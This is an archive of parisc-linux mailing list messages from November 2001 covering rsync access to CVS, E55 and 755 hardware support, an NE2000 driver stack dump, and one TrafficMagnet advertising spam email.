	by dsl2.external.hp.com (Postfix) with ESMTP id C1BDC6128
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 02:51:07 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 1281E9F20; Mon, 19 Nov 2001 10:50:54 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1006094625.3bf7c921363b6@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.23i
X-Operating-System: Linux mail 2.4.15-pre2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13115

On Sun, 2001-11-18 15:43:45 +0100, joel.soete@freebel.net <joel.soete@freebel.net>
wrote in message <1006094625.3bf7c921363b6@webmail.tiscalinet.be>:
> Hi Paul,
> 
> One great stuff which makes me prefer rsync versus cvs is that rsync allow me to
> define easily RSYNC_PROXY (afaik cvs did not) and in my working environement
> (behing a fw configure by neanderthal admin) it is a great help.
> 
> But I also understand well your position.

Well, you don't need to advertise or document rsync access. People
interested in using it know how to do it, and they'll simply try
it. Look at oss.sgi.com - you won't really find rsync mentioned
there:-)

MfG, JBG

-- 
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	http://lug-owl.de/~jbglaw/software/snapshot2cvs/



From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christine Hall <return@trafficmagnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PARISC-LINUX.ORG
Date: Sun, 18 Nov 2001 5:42:33 +0800
Lines: 80
Approved: news@gmane.org
Message-ID: <200111170136.JAA26154@ns4.trafficmagnet.net>
Reply-To: Christine Hall <christine@trafficmagnet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related; boundary="d5fe13e3-4979-4ddb-9a32-2e36c1096aca"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620774 30225 80.91.229.3 (22 Nov 2014 01:46:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:14 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 05:13:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns4.trafficmagnet.net (unknown [211.101.236.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46D416029
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 05:13:57 -0700 (MST)
Original-Received: from sendmail ([211.101.236.29])
	by ns4.trafficmagnet.net (8.9.3/8.9.3) with SMTP id JAA26154
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Nov 2001 09:36:10 +0800
X-Mailer: CSMTPConnection v2.17
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13116

This is a multi-part message in MIME format
--d5fe13e3-4979-4ddb-9a32-2e36c1096aca
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

<!-- saved from url=3D(0022)http://internet.e-mail -->
<html>
<head>
<title>Traffic Magnet</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3D=
iso-8859-1">
</head>
<body bgcolor=3D"#FFFFFF">
<table width=3D"600" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
  <tr>
    <td><font face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D=
"2">Hi<br>
      <br>
      I visited <a href=3D=
"http://www.trafficmagnet.net">PARISC-LINUX.ORG</a>, and 
      noticed that you're not listed on some search engines! I think we can =
offer 
      you a service which can help you increase traffic and the number of =
visitors 
      to your website.<br>
      <br>
      I would like to introduce you to TrafficMagnet. We offer a unique =
technology 
      that will submit your website to over 300,000 search engines and =
directories 
      every month.<br>
      <br>
      </font> 
      <table width=3D"396" border=3D"0" cellspacing=3D"0" cellpadding=3D"0" =
align=3D"center">
        <tr> 
          <td><a href=3D"http://www.trafficmagnet.net"><img src=3D=
"http://image10.trafficmagnet.net/image/logo.gif" width=3D"137" height=3D=
"136" border=3D"0"></a></td>
          <td><a href=3D"http://www.trafficmagnet.net"><img src=3D=
"http://image10.trafficmagnet.net/imagenew/CRAWLER/002/179/190.jpg" width=3D=
"197" height=3D"141" border=3D"1"></a></td>
          <td><a href=3D"http://www.trafficmagnet.net"><img src=3D=
"http://image10.trafficmagnet.net/image/signup.gif" width=3D"62" height=3D=
"136" border=3D"0"></a></td>
        </tr>
      </table>
      <font face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D"2"><br>
      You'll be surprised by the low-cost, and by how effective this website =
promotion 
      method can be. <br>
      <br>
      To find out more about TrafficMagnet and the cost for submitting your =
website 
      to over 300,000 search engines and directories, visit <a href=3D=
"http://www.trafficmagnet.net">www.TrafficMagnet.net</a>. 
      <br>
      <br>
      Would you like me to send you an introduction to how we can make <a =
href=3D"http://www.trafficmagnet.net">PARISC-LINUX.ORG</a> 
      listed on more search engines?<br>
      <br>
      I would love to hear from you. <br>
      <br>
      Best Regards <br>
      <br>
      Christine Hall <br>
      Sales and Marketing <br>
      E-mail: christine@trafficmagnet.net <br>
      <b><a href=3D=
"http://www.trafficmagnet.net">http://www.trafficmagnet.net</a></b> 
      </font> </td>
  </tr>
</table>
</body>
</html>

--d5fe13e3-4979-4ddb-9a32-2e36c1096aca--



From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: E55 status
Date: Sun, 18 Nov 2001 03:24:44 +0100
Organization: private
Lines: 75
Approved: news@gmane.org
Message-ID: <3BF71BEC.5D032CE6@gmx.at>
References: <3B4396D8.9A33414F@gmx.at> <3BF4E38C.D59603FE@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620774 30228 80.91.229.3 (22 Nov 2014 01:46:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:14 +0000 (UTC)
To: Thomas Marteau <marteaut@esiee.fr>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 05:43:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF913500A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 05:43:18 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011118022444.CMGQ1238.viefep16-int.chello.at@gmx.at>;
          Sun, 18 Nov 2001 03:24:44 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13117

Hi Thomas !

Here are the current status of the E55:

I have rewritten my whole stuff on the current CVS snapshot from the end
of this week (2.4.14-pa6).

(1) TTY driver for the PDC console, used in polling mode (30ms) as
device
	/dev/ttyB0:
	- only tested via serial line !
	- is configured together with CONFIG_SERIAL_CONSOLE, if ARCH is
		parisc (XXX: TODO a config via menu for PDC CONSOLE DRIVER)
	- a node (/dev/ttyB0 c 30 0) must be created
	- /etc/inittab should have a login on /dev/ttyB0
	- the kernel line parameter `console=ttyB0' must be set

	Driver works for complete Linux stuff, including `login' and editing
	on the `bash'.
	
(2) LED support for the "RUN" and "ATTENTION" LED (cuppled to the
heartbeat of
	700er machines. If the heartbeart is active, E55 shows "RUN", otherwise
	the machine indicates "ATTENTION"). So the status can be influenced
	by the `/proc/pdc/led' entry.
	This LED driver is activated by the model name "9000/856" (E55), so
	for further machines of similar types, the model names have to be
	added.

In general, the CONFIG stuff has to be adapted. On that stuff, my
experience 
is not that what other LINUX hacker's expect ...

Further, is there a developer ChangeLog file to do entries per file ?

So the E55 server can be booted diskless by BOOTP(DHCP)/TFTP and boots
up. Ethernet is full functioning, the console works on port 0 of the
8-port multiplexer. No SCSI controller is deteced, not the parallel
interface,
and the mulitplexer board. For these three componets, drivers are
needed,
and the DOCUMENTATION !!!

I hope, parts of my stuff (or all plus improvments concerning
configuration)
will come into the kernel main stream to have this "start" of E55 server
in the kernel.

I will add my current CVS diffings of my extensions very soon, at the
moment
the CVS server seems to be down ! (Please contact me, if you have
interest !)

With friendly regards
Christoph P.



Thomas Marteau wrote:
> 
> Hi Christoph,
> 
>         I am updating our list of working hardware. Could you tell me if you
> know something about the status of PA/Linux on E55?
> 
> Thanks for your answer, Thomas.
> ESIEE Team

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <ryan_bradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 755/125 problems
Date: 18 Nov 2001 22:18:51 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <1006147131.4898.7.camel@beavis>
References: <a05100316b81d8d1c41f3@[129.64.46.46]>
	<1006107893.4898.5.camel@beavis>  <a05100318b81dbd449750@[129.64.46.46]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620775 30230 80.91.229.3 (22 Nov 2014 01:46:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 05:53:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 481504831
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 05:53:48 -0700 (MST)
Original-Received: from beavis.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 397EDBE23; Sun, 18 Nov 2001 22:18:51 -0700 (MST)
In-Reply-To: <a05100318b81dbd449750@[129.64.46.46]>
X-Mailer: Evolution/0.99.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13118

On Sun, 2001-11-18 at 12:34, Aaron Macks wrote:
> Ok, so the Root pw of HPUX has been fixed, thanks.  I was able to 
Glad to hear it :)

> unconfigure the ATM card and remove it from the eisa cage, but the 
> system still seems not to see the 10baseT AUI adaptor, no lights are 
> lit, not even the power one.
Hm... that doesn't seem right.  Have you tried a different AUI adapter?
sounds like faulty hardware somewhere :(

> As for SCSI, I have HPUX on a FW, but a N for Linux.  Will it be a 
> problem to have the FW drive installed, or Linux just ignore it?
> Aaron

Linux will just detect the Outfield Card, but non of the scsi drivers/
disks below it will be probed/detected.  Linux will safely ignore it.

- Ryan





From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <ryan_bradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 755/125 problems
Date: 18 Nov 2001 11:24:53 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <1006107893.4898.5.camel@beavis>
References: <a05100316b81d8d1c41f3@[129.64.46.46]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620775 30233 80.91.229.3 (22 Nov 2014 01:46:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 06:10:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE655482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 06:10:27 -0700 (MST)
Original-Received: from beavis.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 85230BE1E; Sun, 18 Nov 2001 11:24:53 -0700 (MST)
In-Reply-To: <a05100316b81d8d1c41f3@[129.64.46.46]>
X-Mailer: Evolution/0.99.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13119

On Sun, 2001-11-18 at 09:11, Aaron Macks wrote:
> So I finally have a viable system in the form of a 755/125(384mb ram, 
> internal FWscsi drive and 2 atm cards).  I can get it to boot under 
> the HPUX still installed on the HD, and it seems to work(not root 
> pw).  I tried booting it off the internal CD with the 0.92 disc and 
> it seemed to freeze at the 'Branching to kernel address .....".

> Three questions:
> Is this common or an oddity with my system?
The 755 (and 735) are only partially supported at this time.  The
fast-wide disks are behind an outfield card which is not supported yet,
so you can not use the FW disks.  It has been a long time since I
installed the 0.9.2 iso, but I have tested tested the rc1 of the
upcoming 0.9.3 iso on the 755 and it installed fine :)

> It currently only allows a net boot off of the ATM cards, either the 
> EISA or the slider.  How can I force it to use the onboard 10 base 
> T(AUI) or even 10 Base 2?

I have not run into this one yet, and I did a network install of the 755
using the built-in 10 base-T. I will see if I can find an additional
EISA network card to add to the machine and see if I can duplicate your
problem.

> The other might be slightly off topic, but is there an easy way to 
> reset the root pw on the HPUX install?(I believe I have HPUX install 
> media somewhere but I'm probably wrong.)

yeah, boot into the hpux isl menu:
	boot pri isl

when in the isl menu
	hpux -is

will put you in single user mode where you can change the root passwd.

- Ryan

> Aaron
> -- 
> _______________________________________________________
> Aaron Macks(aaronm@cs.brandeis.edu)
> My sheep has seven gall bladders, that makes me the King of the Universe!
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: rsync for CVS repository
Date: Mon, 19 Nov 2001 21:56:46 +0800
Lines: 51
Approved: news@gmane.org
Message-ID: <20011119215644.G10112@neep.com.au>
References: <jbglaw@lug-owl.de> <200111150105.SAA09926@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620775 30236 80.91.229.3 (22 Nov 2014 01:46:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 06:57:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-06.iinet.net.au [203.59.3.38])
	by dsl2.external.hp.com (Postfix) with SMTP id 66CEC4831
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 06:57:00 -0700 (MST)
Original-Received: (qmail 25386 invoked by uid 666); 19 Nov 2001 13:56:47 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.208.88)
  by mail.iinet.net.au with SMTP; 19 Nov 2001 13:56:47 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id VAA12951
	for parisc-linux@lists.parisc-linux.org; Mon, 19 Nov 2001 21:56:49 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200111150105.SAA09926@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Wed, Nov 14, 2001 at 06:05:07PM -0700
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13120

Quoth Grant Grundler:
> Jan-Benedict Glaw wrote:
> > ...which remembers me that I emailed with Grant these days about
> > making the CVS repository available via rsync. He also thought that
> > that would be a nice thing to have... I volunteered to do the setup
> > if time is all off. How about that?
> 
> I've heard nothing back about this.  Sorry - I can't autonomously give
> out logins to the cvs machine or I would have already.
> Do you have a URL for a short how-to?
> I might take a crack at it if no one else with access speaks up.
> 
> grant

I've not responded individually to the comments in the thread following
this post, but I think there's a bit of confusion.

There's not much point in setting rsync access to the CVS repository,
except for mirroring purposes.  (And even then, you probably would only
want it to be rsync in one direction; maintaining two or more live CVS
repositories and attempting to keep them synchronised with rsync would
be an exercise in hard work.)

What is useful though, and what is being done by several projects, is to
maintain one or more checked-out trees from their CVS repository and
have these trees available by anonymous rsync.  Most popular CVS
projects don't branch, and so this is very easy: a regular cron job
keeps a CVS HEAD checkout fresh, and the tree is served by rsync or some
other server of choice (ftp/http).

The usefulness of this - as it is not replacing cvs in any way - is that
a user may easily bring their tree in sync with HEAD (or whichever
branch is being tracked) and then still be able to perform the usual cvs
operations on it (eg diff, log etc).

I know that I would make use of an anonymous rsync service if it were
available.  I do agree with the point made by some others though, that
if advertised there are likely to be people who will try it just for fun
and then generate a lot of list noise when they have problems.  On the
other hand, this is a risk you also take by putting up a CVS server, or
running a mailing list.  There's a balance there somewhere.  =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.14 and ISA-NE2000 StackDump
Date: Mon, 19 Nov 2001 09:16:34 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB1921627E4@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620775 30237 80.91.229.3 (22 Nov 2014 01:46:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:15 +0000 (UTC)
To: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 07:17:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8CE13482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 07:17:01 -0700 (MST)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <XDGBRZS9>; Mon, 19 Nov 2001 09:16:34 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13121

Hi,

I just tried to update to 2.4.14-pa6 and noticed a stackdump during
initialisation of my old NE2000 ISA-Nic which works fine using the last 2.4.9
Kernel. After this stackdump i booted (reset used) 2.4.9 again and the machine
hung without any message druring initialistaion of the NE2000 (right after
"NE*000 ethercard probe at 0x300:"). I had to power-cycle the machine to make it
work again.

Heres the log-message:

Last modified Nov 1, 2000 by Paul Gortmaker
NE*000 ethercard probe at 0x300:WARNING! Stack pointer and cr30 do not
correspond!

Dumping Stack from 100fe000 to 100fe380:
e000 ffca5940 ffca5940 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
e020 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
e040 ffca5940 ffca5940 41000000 00000000 40800000 00000000 ffca5940 ffca5940
e060 41000000 00000000 ffca5940 ffca5940 40800000 00000000 41000000 00000000
e080 40300000 00000000 40200000 00000000 40200000 00000000 41800000 ffca5940
e0a0 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
e0c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e0e0 00000000 00000000 101030b0 10107500 00000000 00000000 00000000 00000000
e100 102bd810 0000001d 4fc83f01 00000010 100fdc80 0000000f 00000002 0000000a
e120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e160 00000000 00000000 00000000 10107500 00000000 00000000 00000000 00000000
e180 100fdc80 102acb94 ffffffff 00000004 08000000 00000000 00000000 00000000
e1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e1c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e1e0 00000000 00000000 00000000 1010307c 00000000 00000000 10220a88 04000000
e200 00000080 00000300 100fdf40 102acb94 ffffffff 00000003 10000000 00000000
e220 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e240 101b6864 00000000 00000000 103a6400 100ff160 00000000 00000000 00000000
e260 00000000 00000000 00000000 10102f94 00000000 00000000 00000000 00000000
e280 102ac810 00000010 0000000c 00000023 00000001 102ac8dc 00000000 00000000
e2a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e2c0 00000000 00000000 00000000 00000000 101d33b4 00000000 00000000 10291d5c
e2e0 f0821000 00000000 00000000 1010311c 00000000 00000000 00000000 00000000
e300 102bd810 100fdf40 100fdf40 100ff060 00000400 00000015 00000055 00000000
e320 102ac810 100fdec0 102bd810 00000002 10292cc0 00000000 100f8708 102bd810
e340 100fdec0 08000059 f0000694 fc0000a1 0000000e 00000001 00000004 1038e010
e360 0000000a 000000a1 00000001 10102f94 00000057 100fdec0 100fe300 10102f94

Bad Address (null pointer deref?): Code=6 regs=100fe380 (Addr=50412d43)


any hints?
Are there any guys arround here which made their ne2000 work with 2.4.14?

greetings

Wolfgang Pedot




From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc upgrade??
Date: Mon, 19 Nov 2001 15:29:56 +0100 (CET)
Lines: 21
Approved: news@gmane.org
Message-ID: <1006180196.3bf9176435106@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620776 30239 80.91.229.3 (22 Nov 2014 01:46:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
